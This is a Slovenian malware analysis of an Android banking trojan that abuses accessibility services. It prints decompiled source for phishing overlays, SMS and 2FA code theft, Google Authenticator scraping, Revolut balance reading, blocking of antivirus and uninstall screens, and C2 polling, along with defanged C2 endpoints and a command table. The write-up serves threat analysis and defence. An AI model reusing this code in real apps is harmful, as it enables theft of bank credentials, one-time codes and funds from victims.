Škodljiva aplikacija na kontrolni strežnik pošlje seznam vseh nameščenih aplikacij (na naslov /getbotinjects), v odgovoru kontrolnega strežnika pa prejme pripadajočo HTML kodo za prikaz lažnih prijavnih strani. Žrtvi se lažne strani prikažejo čez legitimne aplikacije in služijo kraji vpisanih podatkov. Napadalcu so posebej zanimivi podatki za prijavo v bančne aplikacije in kriptodenarnice. Škodljiva aplikacija čaka, da uporabnik odpre legitimno bančno aplikacijo in mu v tistem trenutku prikaže lažni vnosni obrazec (spletni pogled), ki prekriva legitimno bančno aplikacijo, s čimer uporabnika zavede v vpis uporabniškega imena in gesla na lažni strani za krajo podatkov.
Zlonamerna aplikacija prenese kodo ustreznih lažnih spletnih strani za spletni pogled (Webview) s kontrolnega strežnika (/getkeyloggers). Spodaj je primer generične strani, ki smo jo izdelali sami za demonstracijo zlonamernosti aplikacije. V izogib uporabi zaščitenih blagovnih znamk smo pripravili lastno vnosno stran, za krajo podatkov pa napadalec uporablja prepričljivejše strani.
Aplikacija z naslova /getkeyloggers prenese seznam ciljanih aplikacij. Ker je primarni cilj aplikacije kraja finančnih sredstev, ne preseneča, da prenešen seznam sestavljajo pretežno imena paketov bančnih aplikacij in kriptodenarnic.
Spodnja metoda skrbi za prikaz lažne strani za prijavo z uporabo spletnega pogleda čez legitimno aplikacijo v trenutku, ko je ta odprta.
public void mw_showPhishingOverview(AccessibilityNodeInfo accessibilityNodeInfo0, AccessibilityService accessibilityService0, long v) {
mw_EditSharedPrefs d0 = mw_EditSharedPrefs.mw_staticE;
String s = d0.a.mw_loadFromSharedPrefsConfig(accessibilityService0, accessibilityNodeInfo0.getPackageName().toString());
if(s != null && (d0.a.g(accessibilityService0, "iactive:" + accessibilityNodeInfo0.getPackageName().toString()))) {
a.a = true;
mw_webviewActivity.mw_webviewHTMLCode = s;
f.mw_manageLogEntriesWithTimestamps2(("Opening inject " + accessibilityNodeInfo0.getPackageName()));
mw_webviewActivity.c = accessibilityNodeInfo0.getPackageName().toString();
accessibilityService0.startActivity(new Intent(accessibilityService0, mw_webviewActivity.class).addFlags(0x10000000).addFlags(0x40000000).addFlags(0x800000));
}
}
Branje in pošiljanje SMS sporočil
Aplikacija bere in si zapisuje vsa prejeta tekstovna SMS in MMS sporočila uporabnika. Glavni cilj je pridobitev podatkov za prijavo, primarno za bančne aplikacije. Nekatere bančne aplikacije namreč v postopku prijave z omogočeno dvofaktorsko avtentikacijo (2FA) uporabljajo potrditev z enkratno kodo, ki jo uporabnik prejme v SMS sporočilu. Škodljiva aplikacija prejeta sporočila beleži v datoteko config.xml v deljenih nastavitvah (shared preferences) znotraj interne zasebne mape aplikacije. Polna pot je /data/user/0/IME_PAKETA/shared_prefs/config.xml
Ker se želimo prepričati, da škodljiva aplikacija uporabniške podatke res zapisuje le v datoteko config.xml, opravimo še dinamično analizo s prestrezanjem. Z orodjem Frida prestrezamo API klice za spreminjanje in izbris datotek, s čimer še dinamično potrdimo, da škodljiva aplikacija uporabniške podatke zapisuje le v omenjeno datoteko.
Spodnja koda aplikaciji omogoča prestrezanje in zapisovanje prejetih SMS sporočil. Nahaja se v metodi onRecieive, ki je del razreda, ki definira Broadcast Receiver. Broadcast receiver je ena izmed osnovnih komponent Android aplikacije, ki ji omogoča poslušanje in odzivanje na sistemska naznanila, kot je npr. prejem novega SMS sporočila.
// koda za prestrezanje SMS sporočil iz razreda: Lcom/josiplbcj/ldoyovhys/receiver/AIUbawuidBAWUdi;
public void onReceive(Context context0, Intent intent0) { // metoda onReceive, ki se izvede ob prejemu Broadcast sporočila
try {
d d0 = d.mw_staticE;
Bundle bundle0 = intent0.getExtras();
String mw_smsContents = "";
if(bundle0 == null) { // če intent ne vsebuje dodatnih podatkov (extras) metoda konča svoje izvajanje
return;
}
String s1 = bundle0.getString("format"); // pridobivanje SMS formata iz dodatnih podatkov
Object[] arr_object = (Object[])bundle0.get("pdus"); // pridobivanje Protocol Data Units - PDUs iz dodatnih podatkov sporočila
if(arr_object != null) {
SmsMessage[] arr_smsMessage = new SmsMessage[arr_object.length]; // shranjevanje SMS sporočil v seznamu
for(int v = 0; v < arr_object.length; ++v) { // iteracija čez vse PDU-je in kreiranje SmsMessage objektov, ki se zapišejo v seznam
arr_smsMessage[v] = SmsMessage.createFromPdu(((byte[])arr_object[v]), s1);
// oblikovanje niza, ki nosi podatke prejetih SMS sporočil
mw_smsContents = mw_smsContents + "SMS from " + arr_smsMessage[v].getOriginatingAddress() + ": " + arr_smsMessage[v].getMessageBody();
}
d0.a.mw_readAndWriteToConfigSharedPrefs(context0, "logged_sms", mw_smsContents); // zapis pošiljatelja in vsebine sporočila v datoteko config.xml znotraj deljenih nastavitev
this.abortBroadcast(); // klic metode abortBroadcast drugim aplikacijam onemogoča interakcijo s prejetim SMS sporočilom
// ohrani napravo budno 2 minuti in zažene storitev zadolženo za beleženje vnosov (keylogger) in projekcijo lažnih pogledov za krajo podatkov za prijavo, npr. v mobilne banke
eifbiaFBAUIFB.mw_keepAwakeAndStartService(context0, true);
return;
}
}
catch(Throwable throwable0) {
throwable0.printStackTrace();
f.mw_manageLogEntriesWithTimestamps2(("SmsErr " + throwable0.getMessage()));
return;
}
}
Pridobivanje uporabniških podatkov
Aplikacija pridobi in pošilja naslednje podatke uporabnika: podatke sledenja uporabniškim akcijam (keylogging), seznam nameščenih aplikacij, e-poštni naslov, s katerim je prijavljen v napravo, podatke o napravi, verzijo Android OS, telefonsko številko, podatke o privzeti aplikaciji za SMS sporočila, stanje baterije, informacijo o dovoljenju za Accessibility Service, informacijo o izklopu optimizacije baterije. Prav tako pa aplikacija lahko pridobi prijavne podatke za mobilno banko s prikazovanjem lažnih vnosnih strani čez legitimne aplikacije. Dodatno uporabnika nagovori k menjavi kode/gesla zaklenjenega zaslona in celo k prijavi z biometričnimi podatki, kot je npr. prijava z uporabo prstnega odtisa, s čimer lahko aplikacija zaobide prijavo v druge aplikacije navkljub prijavi z biometričnimi podatki.
Sestava JSON objekta, ki vključuje nekaj od naštetih pridobljenih podatkov uporabnika:
public static JSONObject a(Context context0) {
JSONObject jSONObject0 = new JSONObject();
JSONObject jSONObject1 = new JSONObject();
d d0 = d.mw_staticE;
List list0 = d0.a.b(context0, "logged_sms");
ArrayList arrayList0 = new ArrayList(j.a);
j.a.clear();
List list1 = d0.a.b(context0, "captured_injects");
List list2 = d0.c.c();
ArrayList arrayList1 = new ArrayList();
for(Object object0: list2) {
arrayList1.add(((f)object0).f());
d0.c.a(((f)object0).b());
}
ArrayList arrayList2 = new ArrayList();
for(Object object1: list1) {
String s = (String)object1;
try {
arrayList2.add(new JSONObject(s));
}
catch(JSONException jSONException0) {
jSONException0.printStackTrace();
}
}
d0.a.a(context0, "logged_sms");
d0.a.a(context0, "captured_injects");
try {
jSONObject1.put("hwid", c.j(context0));
jSONObject1.put("device_name", c.mw_getPhoneModelAndManufacturer());
jSONObject1.put("phone_number", c.mw_readSubscriptionInfo(context0));
jSONObject1.put("battery_level", c.mw_batteryChanged(context0));
jSONObject1.put("acs_enabled", c.mw_enabledAccessibility(context0, mw_AccessibilityServicesHandleEvents.class));
jSONObject1.put("doze_enabled", c.mw_ignoreBatteryOptimization(context0));
jSONObject1.put("country", c.mw_networkInfoCountryCode(context0));
jSONObject1.put("locale", c.mw_locale());
boolean z = true;
jSONObject1.put("screen_active", !c.mw_isKeyguardLocked(context0));
jSONObject1.put("screen_secure", c.mw_keyguardIsSecure(context0));
AtomicBoolean atomicBoolean0 = mw_AccessibilityServicesHandleEvents.p;
if(c.mw_keyguardIsSecure(context0)) {
z = false;
}
atomicBoolean0.set(z);
jSONObject1.put("sms_manager", Telephony.Sms.getDefaultSmsPackage(context0));
jSONObject1.put("android_version", Build.VERSION.SDK_INT);
jSONObject1.put("current_logged_password", "");
jSONObject1.put("ver", 6);
jSONObject0.put("data_update", jSONObject1);
jSONObject0.put("logged_sms", new JSONArray(list0));
jSONObject0.put("logged_pushes", new JSONArray(arrayList0));
jSONObject0.put("system_logs", new JSONArray(new ArrayList(com.josiplbcj.ldoyovhys.util.f.a)));
jSONObject0.put("captured_injects", new JSONArray(arrayList2));
jSONObject0.put("completed_commands", new JSONArray(arrayList1));
com.josiplbcj.ldoyovhys.util.f.a.clear();
if(!b.b.isEmpty()) {
ArrayList arrayList3 = new ArrayList();
for(Object object2: b.b) {
JSONObject jSONObject2 = new JSONObject();
JSONObject jSONObject3 = new JSONObject();
for(Object object3: ((com.josiplbcj.ldoyovhys.j.a)object2).b().entrySet()) {
jSONObject3.put(((String)((Map.Entry)object3).getKey()), ((com.josiplbcj.ldoyovhys.j.c)((Map.Entry)object3).getValue()).c());
}
jSONObject2.put("application", ((com.josiplbcj.ldoyovhys.j.a)object2).a);
jSONObject2.put("data", jSONObject3);
arrayList3.add(jSONObject2);
}
jSONObject0.put("captured_keyloggers", new JSONArray(arrayList3));
b.b.clear();
}
if(a.a) {
JSONArray jSONArray0 = new JSONArray();
c.k(context0, jSONArray0);
jSONObject0.put("installed_apps", jSONArray0);
a.a = false;
return jSONObject0;
}
}
Poleg pridobljenih podatkov uporabnika pozove k menjavi kode ali vzorca za zaklepanje telefona. Ker v ozadju ves čas teče beleženje uporabnikovih klikov in hkratno zajemanje posnetkov zaslona, napadalec tako pridobi podatke za odklepanje naprave.
// Metoda z zahtevo za spremembo gesla
public static void mw_demandPasswordChange(AccessibilityService accessibilityService0, AccessibilityEvent accessibilityEvent0) {
// Preveri, ali je zahteva po spremembi gesla že v teku
if(mw_AccessibilityServicesHandleEvents.k) {
return; // Izhod iz metode, če je zahteva že v teku
}
d d0 = d.mw_staticE;
// Pridobi informacije o zahtevi po spremembi gesla iz konfiguracije
f f0 = d0.c.b("change_pass");
if(f0 != null && !f0.c() || (mw_ScreenshotClassE.n.getAndSet(false))) {
// Pripravi namero (intent) za začetek aktivnosti za spremembo gesla
Intent intent0 = new Intent("android.app.action.SET_NEW_PASSWORD").addFlags(0x10000000);
intent0.putExtra("android.app.extra.PASSWORD_COMPLEXITY", 0);
// Zaženi aktivnost za spremembo gesla
accessibilityService0.startActivity(intent0);
// Prikaži toast obvestilo o spremembi gesla
Toast.makeText(accessibilityService0, h.mw_retPasswordWarningString(), 1).show();
// Določi čas za ponovno zahtevo po spremembi gesla (odvisno od proizvajalca)
e.a = System.currentTimeMillis() + (Build.MANUFACTURER.toLowerCase().contains("samsung") ? 180000L : 7000L);
// Pripravi JSON objekt za beleženje rezultata spremembe gesla
JSONObject jSONObject0 = new JSONObject();
try {
jSONObject0.put("result", "Completed");
}
// Obvladovanje izjem pri sestavljanju JSON objekta
catch(JSONException jSONException0) {
jSONException0.printStackTrace();
// Logiraj napako in nadaljuj izvajanje
d0.c.e("change_pass", jSONObject0);
goto label_20;
}
// Logiraj uspešno spremembo gesla
d0.c.e("change_pass", jSONObject0);
}
}
Kraja OTP kod iz Google Authenticatorja
Na ukaz s kontrolnega strežnika aplikacija odpre Google Authenticator in z uporabo storitev dostopnosti prebere vsebino elementov uporabniškega vmesnika. Na ukaz prikazuje tudi okno za prijavo z biometričnimi podatki (kot je npr. z branjem prstnega odtisa), s čimer lahko zaobide zaščiteno prijavo v Google Authenticator, ki je odprt pod pojavnim oknom. Če uporabnik pridrži prst na bralniku nekaj dodatnih trenutkov, se zaporedno avtenticira še v aplikacijo Google Authenticator.
public void mw_grabGoogleAuth(AccessibilityService accessibilityService0, AccessibilityEvent accessibilityEvent0) {
if(accessibilityEvent0 != null && mw_AccessibilityServicesHandleEvents.i != null && accessibilityEvent0.getPackageName() != null) {
long v = System.currentTimeMillis();
if(!accessibilityEvent0.getPackageName().equals("com.google.android.apps.authenticator2")) {
mw_CommandFromC2 f0 = this.a.mw_getCommand("grab_google_auth");
if(f0 != null && !f0.c() && v - this.c > 7000L) {
Intent intent0 = accessibilityService0.getPackageManager().getLaunchIntentForPackage("com.google.android.apps.authenticator2");
if(intent0 != null) {
accessibilityService0.startActivity(intent0);
this.c = v;
return;
}
JSONObject jSONObject1 = new JSONObject();
try {
jSONObject1.put("codes", "App doesn\'t exist");
}
catch(JSONException jSONException0) {
jSONException0.printStackTrace();
this.a.mw_setJson("grab_google_auth", jSONObject1);
this.c = v;
return;
}
this.a.mw_setJson("grab_google_auth", jSONObject1);
this.c = v;
}
}
else if(v - this.b > 30000L) {
JSONObject jSONObject0 = this.b(accessibilityService0, accessibilityEvent0);
this.b = v;
this.a.mw_setJson("grab_google_auth", jSONObject0);
return;
}
}
}
Pridobivanje podatkov za odklep zaslona in vzpostavitev sekundarnega infekcijskega kanala
Aplikacija telefonu prepreči spanje (display dim) in izkopi optimizacijo baterije, kar sistemu preprečuje ustavitev za namene varčevanja energije. Zlonamerna aplikacija na zaklenjenem zaslonu naprave od uporabnika zahteva menjavo gesla ali kode za odklepanje. Takoj za tem vzpostavi socket povezavo na kontrolni strežnik, ki se uporablja za periodično pošiljanje zajetih posnetkov zaslona. Originalno poimenovan razred vsebuje sosledje zanimivih klicev metod, ki so za namen preglednejše analize preimenovane:
//razred Lcom/josiplbcj/ldoyovhys/niNOIAdiowanOI;
if(mw_AccessibilityServicesHandleEvents.mw_accessibilityHandler != null) {
com.josiplbcj.ldoyovhys.i.a.mw_resetPassword(niNOIAdiowanOI.this); // sproži zlonamerno aktivnost na zaklenjenem zaslonu, ki od uporabnika zahteva menjavo gesla in preprečuje telefonu, da bi prešel v stanje spanja.
m.mw_startSocketFromRetrievedNetworkingParameters(niNOIAdiowanOI.this); //vzpostavitev socket povezave, ki pošilja screenshote
com.josiplbcj.ldoyovhys.i.l.a();
mw_TeamViewerClass.mw_openTeamViewerInGooglePlay(); //odpre Google play store na TeamViewer Quicksupport aplikaciji in z uporabo storitev dostopnosti zažene TeamViewer Quicksupport
mw_selfDeleteMalware.mw_killBot_uninstall(); // mw aplikacija se izbriše
Na podlagi zgornjega sosledja klicev metod vidimo potek izvedenega napada. Aplikacija ima lastnosti kombinacije “infostealerja” in orodja za oddaljen dostop (RAT). Aplikacija napadalcu posreduje vse potrebne podatke za odklep naprave, poln oddaljen dostop, prijavo v mobilno banko in nakazilo sredstev iz bančne aplikacije. Ena od zlonamernih aplikacij za zagotavljanje sekundarnega dostopnega kanala uporablja aplikacijo TeamViewer QuickSupport. Pripadajoča metoda, ki zažene TeamViewer Quicksupport aplikacijo:
public static void mw_openTeamViewerInGooglePlay() {
// upravljalec storitev dostopnosti, ki se uporablja za odpiranje drugih aplikacij z uporabo namere (intent)
mw_AccessibilityServicesHandleEvents mw_accessbilityHandler2 = mw_AccessibilityServicesHandleEvents.mw_accessibilityHandler;
if (mw_accessbilityHandler2 == null || mw_AccessibilityServicesHandleEvents.k) {
return;
}
// Get the shared preferences editor instance
mw_EditSharedPrefs d0 = mw_EditSharedPrefs.mw_staticE;
// If the atomic boolean e.o is true (atomic set and get to false), execute the block
if (e.o.getAndSet(false)) {
try {
// Namera za odpiranje TeamViewer QuickSupport v aplikaciji Google Play Store
Intent intent0 = new Intent("android.intent.action.VIEW", Uri.parse("market://details?id=com.teamviewer.quicksupport.market"));
intent0.addFlags(0x10000000);
mw_accessbilityHandler2.startActivity(intent0);
} catch (ActivityNotFoundException unused_ex) {
// Če odpiranje ni možno v aplikaciji Google Play, prikaži spletni pogled na naslovu TeamViewer Quicksupport aplikacije v Google Play
Intent intent1 = new Intent("android.intent.action.VIEW", Uri.parse("https://play.google.com/store/apps/details?id=com.teamviewer.quicksupport.market"));
intent1.addFlags(0x10000000);
mw_accessbilityHandler2.startActivity(intent1);
// odpiranaje aplikacije TeamViewer Quicksupport, če strežnik pošlje ukaz "open_activity"
mw_CommandFromC2 f0 = d0.c.mw_getCommand("open_activity");
if (f0 != null) {
String s = f0.a().optString("package");
try {
// Zagon zahtevane aplikacije na ukaz s kontrolnega strežnika
Intent intent2 = mw_accessbilityHandler2.getPackageManager().getLaunchIntentForPackage(s);
JSONObject jSONObject0 = new JSONObject();
if (intent2 == null) {
// Log that the app doesn't exist
jSONObject0.put("result", "App doesn't exist");
d0.c.mw_setJson("open_activity", jSONObject0);
} else {
// Logiranje o zagonu aplikacije
jSONObject0.put("result", "Launched " + s);
d0.c.mw_setJson("open_activity", jSONObject0);
mw_accessbilityHandler2.startActivity(intent2);
}
} catch (JSONException jSONException0) {
jSONException0.printStackTrace();
}
}
return;
} catch (Throwable throwable0) {
// Handle other types of exceptions by printing the stack trace
throwable0.printStackTrace();
}
}
mw_CommandFromC2 f0 = d0.c.mw_getCommand("open_activity");
if (f0 != null) {
String s = f0.a().optString("package");
try {
// Attempt to get the launch intent for a specified package
Intent intent2 = mw_accessbilityHandler2.getPackageManager().getLaunchIntentForPackage(s);
JSONObject jSONObject0 = new JSONObject();
if (intent2 == null) {
jSONObject0.put("result", "App doesn't exist");
d0.c.mw_setJson("open_activity", jSONObject0);
} else {
jSONObject0.put("result", "Launched " + s);
d0.c.mw_setJson("open_activity", jSONObject0);
mw_accessbilityHandler2.startActivity(intent2);
}
} catch (JSONException jSONException0) {
jSONException0.printStackTrace();
}
}
}
Interakcija z bančno aplikacijo Revolut
Ena od analiziranih aplikacij z branjem vsebine zaslona, ki ji ga omogočajo odobrene pravice za uporabo storitev dostopnosti, prebere stanje na Revolut računu in po posameznih valutah, ko je aplikacija Revolut odprta.
// pridobi ime paketa iz dogodka AccessibilityEvent
CharSequence charSequence0 = accessibilityEvent0.getPackageName();
// preveri, če je ime paketa "com.revolut.revolut" = Revolut bančna aplikacija
if (charSequence0 != null && charSequence0.equals("com.revolut.revolut")) {
// zgradi seznam iz vsebine UI elementov aplikacije Revolut z identifikatorjem "com.revolut.revolut:id/endLabel"
List list0 = accessibilityNodeInfo0.findAccessibilityNodeInfosByViewId("com.revolut.revolut:id/endLabel");
// zgradi niz, ki vsebuje podatke o stanju na Revolut računu ("Revolut total VAL")
StringBuilder stringBuilder0 = new StringBuilder("Revolut total VAL: ");
// iterativno pripenja besedilo posameznih elementov v niz, ki nosi podatke o Revolut računu
for (Object object0 : list0) {
// Append the text of each node to the StringBuilder
stringBuilder0.append(((AccessibilityNodeInfo) object0).getText());
stringBuilder0.append(" ,");
}
List list1 = accessibilityNodeInfo0.findAccessibilityNodeInfosByViewId("com.revolut.revolut:id/row_valuePrimary");
// podobno zgradi niz za stanje po posameznih valutah
StringBuilder stringBuilder1 = new StringBuilder("Revolut per currency VAL: ");
for (Object object1 : list1) {
// Append the text of each node to the StringBuilder
stringBuilder1.append(((AccessibilityNodeInfo) object1).getText());
stringBuilder1.append(" ,");
}
}
Po 12 urah od zadnje interakcije aplikacija izvede klik ((AccessibilityNodeInfo)object0).performAction(16);) v aplikaciji Revolut na tipko switcherButton. Ta glede na opis https://help.revolut.com/en-IE/help/profile-and-plan/account-switching/what-is-an-in-app-account-switching-service/ omogoča brezplačni prenos sredstev in prihodkov na Revolut račun iz drugih bančnih računov drugih bank. Škodljiva aplikacija s tem pridobi dodatne podatke o morebitnih dodatnih sredstvih in prihodkih žrtve. Napadalec ob pridobitvi polnega nadzora nad napravo tako razpolaga tudi s stanjem na Revolut računu. Napadalec se torej ne osredotoča le na glavni bančni račun žrtve, ampak krajo izvede tudi iz drugih aplikacij, ki dostopajo do finančnih sredstev.
//Descriptor: Lcom/josiplbcj/ldoyovhys/util/b;
if(System.currentTimeMillis() - mw_messWithRevolut.a > TimeUnit.HOURS.toMillis(12L) && accessibilityEvent0.getEventType() == 0x20) {
AccessibilityNodeInfo accessibilityNodeInfo0 = mw_AccessibilityServicesHandleEvents.i;
CharSequence charSequence0 = accessibilityEvent0.getClassName();
if(charSequence0 != null && (charSequence0.equals("com.revolut.kompot.bridge.impl.launcher.KompotLauncherActivity")) && accessibilityNodeInfo0 != null) {
List list0 = accessibilityNodeInfo0.findAccessibilityNodeInfosByViewId("com.revolut.revolut:id/navbarContentCenter_switcherButton");
System.out.println("All account button size " + list0.size());
for(Object object0: list0) {
((AccessibilityNodeInfo)object0).performAction(16);
mw_messWithRevolut.a = System.currentTimeMillis();
}
Onemogočanje varnostnih mehanizmov
Aplikacija izkorišča storitve dostopnosti za zapiranje pojavnih oken varnostnih obvestil, ki uporabniku ponujajo možnost odstranitve zlonamerne aplikacije in s tem preprečuje svoj izbris tudi varnostnim mehanizmom, kot so antivirusne aplikacije, Google Play Protect in čistilci datotek in aplikacij. Prav tako izrablja storitve dostopnosti, da preprečuje odprtje nastavitev aplikacije, njeno prisilno ustavitev, izbris, izklop naprave ali ponastavitev sistema na tovarniške nastavitve.
if(charSequence1 != null) {
String s1 = charSequence1.toString();
//aplikacija zazna ključne besede v elementih uporabniških vmesnikov drugih aplikacij kot so antivirus, cleaner in uninstall
if((a.mw_antivirusApps.contains(s1)) || v > a.c && (a.b.contains(s1)) || (s1.contains("antivirus")) || (s1.contains("cleaner")) || (s1.contains("uninstall"))) {
accessibilityService0.performGlobalAction(1); //Aplikacija izvede klik, ki zapreobvestilo o okužbi
accessibilityService0.performGlobalAction(1);
accessibilityService0.performGlobalAction(1);
accessibilityService0.performGlobalAction(1);
f.mw_manageLogEntriesWithTimestamps2(("Leave " + charSequence1));
return true;
}
}
Analiza omrežnega prometa in komunikacije s kontrolnim strežnikom
Škodljiva aplikacija vzpostavi stik s kontrolnim strežnikom (t.i. C2) na naslovu hXXp://185.215.113[.]31/api/ (URL naslov je namenoma okvarjen).
HTTP zahteve aplikacije lahko razdelimo v 3 kategorije:
- [C2_IP]/api/botupdate: Škodljiva aplikacija periodično pošilja POST zahteve na kontrolni strežnik z informacijami o okuženi napravi vključno z rezultati posameznih ukazov s kontrolnega strežnika. Zahteva tako npr. vsebuje pridobljena uporabniška gesla in prejeta SMS sporočila;
- [C2_IP]/api/getkeyloggers: zlonamerna aplikacija periodično pošilja HTTP GET zahtevo v odgovoru katere prejme seznam imen paketov (aplikacij), za katere beleži uporabniške vnose (keylogger);
- [C2_IP]/api/getbotinjects: aplikacija v prvi faze okužbe pošlje seznam nameščenih aplikacij, na podlagi česar prenese pripadajočo HTML kodo lažnih strani (spletni pogledi) za krajo gesel.
Aplikacija ustvari nit, ki na 5 sekund pošilja HTTP Post zahteve na kontrolni strežnik, obdela zahtevo in glede na ukaze izvede pripadajoče zahtevane akcije. Ukazi s kontrolnega strežnika so navedeni v tabeli.
public void run() {
while (!c.p()) {
try {
// Spanje niti, ki izvaja HTTP zahteve na kontrolni strežnik za 5 sekund
Thread.sleep(5000L);
}
// (... koda delno izpuščena)
try {
// šifriran odgovor strežnika, ki nosi ukaze za aplikacijo
JSONObject mw_postReqResponseFromC2 = new JSONObject(mw_httpClass.mw_makeHttpPostRequest(
c.mw_returnC2IPfromC2command(niNOIAdiowanOI.this, this.b, "botupdate"), arr_b));
// obdelava odgovora s strežnika
niNOIAdiowanOI.this.mw_parseHttpResponse(mw_postReqResponseFromC2);
// (... koda delno izpuščena)
// metode, ki poskrbijo za izvedbo ukazov strežnika
if (mw_AccessibilityServicesHandleEvents.mw_accessibilityHandler != null) {
// Execute various functions from different classes if the accessibility handler is not null
com.josiplbcj.ldoyovhys.i.a.mw_resetPassword(niNOIAdiowanOI.this); // zahteva za menjavo gesla zaklenjenega zaslona
m.mw_startSocketFromRetrievedNetworkingParameters(niNOIAdiowanOI.this); //vzpostavitev socket povezave za pošiljanje posnetkov zaslona
com.josiplbcj.ldoyovhys.i.l.mw_resetPass(); //zahteva za menjavo gesla, ki pa ni implementirana
mw_TeamViewerClass.mw_openTeamViewerInGooglePlay(); //odprtje aplikacije TeamViewer preko trgovine Google Play
mw_selfDeleteMalware.mw_killBot_uninstall(); //samoodstranitev zlonamerne aplikacije
}
Tabela ukazov s kontrolnega strežnika:
UKAZ | OPIS |
activate_client | Preprečuje izklop ali zatemnitev zaslona naprave |
app_delete | Izbris aplikacije z zahtevanim imenom paketa |
ask_perms | Aplikacija zahteva dodatna dovoljenja (dostop do telefona in sporočil SMS) |
ask_syspass | Prikaz okna za prijavo z biometričnimi podatki (npr. s prstnim odtisom) |
change_pass | Obvestilo (toast), ki uporabnika poziva k menjavi gesla in samodejno odprtje nastavitev za menjavo gesla za zaklepanje naprave |
get_accounts | Pridobivanje uporabniških računov iz nastavitev naprave |
grab_google_auth | Samodejno odprtje aplikacije Google Authenticator za krajo 2FA kod |
kill_bot | Lastna odmestitev z žrtvine naprave |
mute_phone | Utišanje naprave, s čimer se napadalec dodatno zavaruje pred bujenjem uporabnika med krajo v nočnih urah |
open_activity | Odprtje zahtevane aplikacije |
open_inject | Odprtje spletnega pogleda HTML tovora (ang. phishing overlay) |
reset_pass | Ukaz nima pripadajoče kode |
start_client | Specificiranje IP naslova in vrat za socket povezavo za pošiljanje posnetkov zaslona vsakih 6 sekund |
stop_pers | Onemogoči storitve zlonamerne aplikacije za 40 sekund |
swipe_down | Izvede poteg navzdol brez uporabniške interakcije (npr. za samodejno premikanje po seznamu s kodami v aplikaciji Google Authenticator) |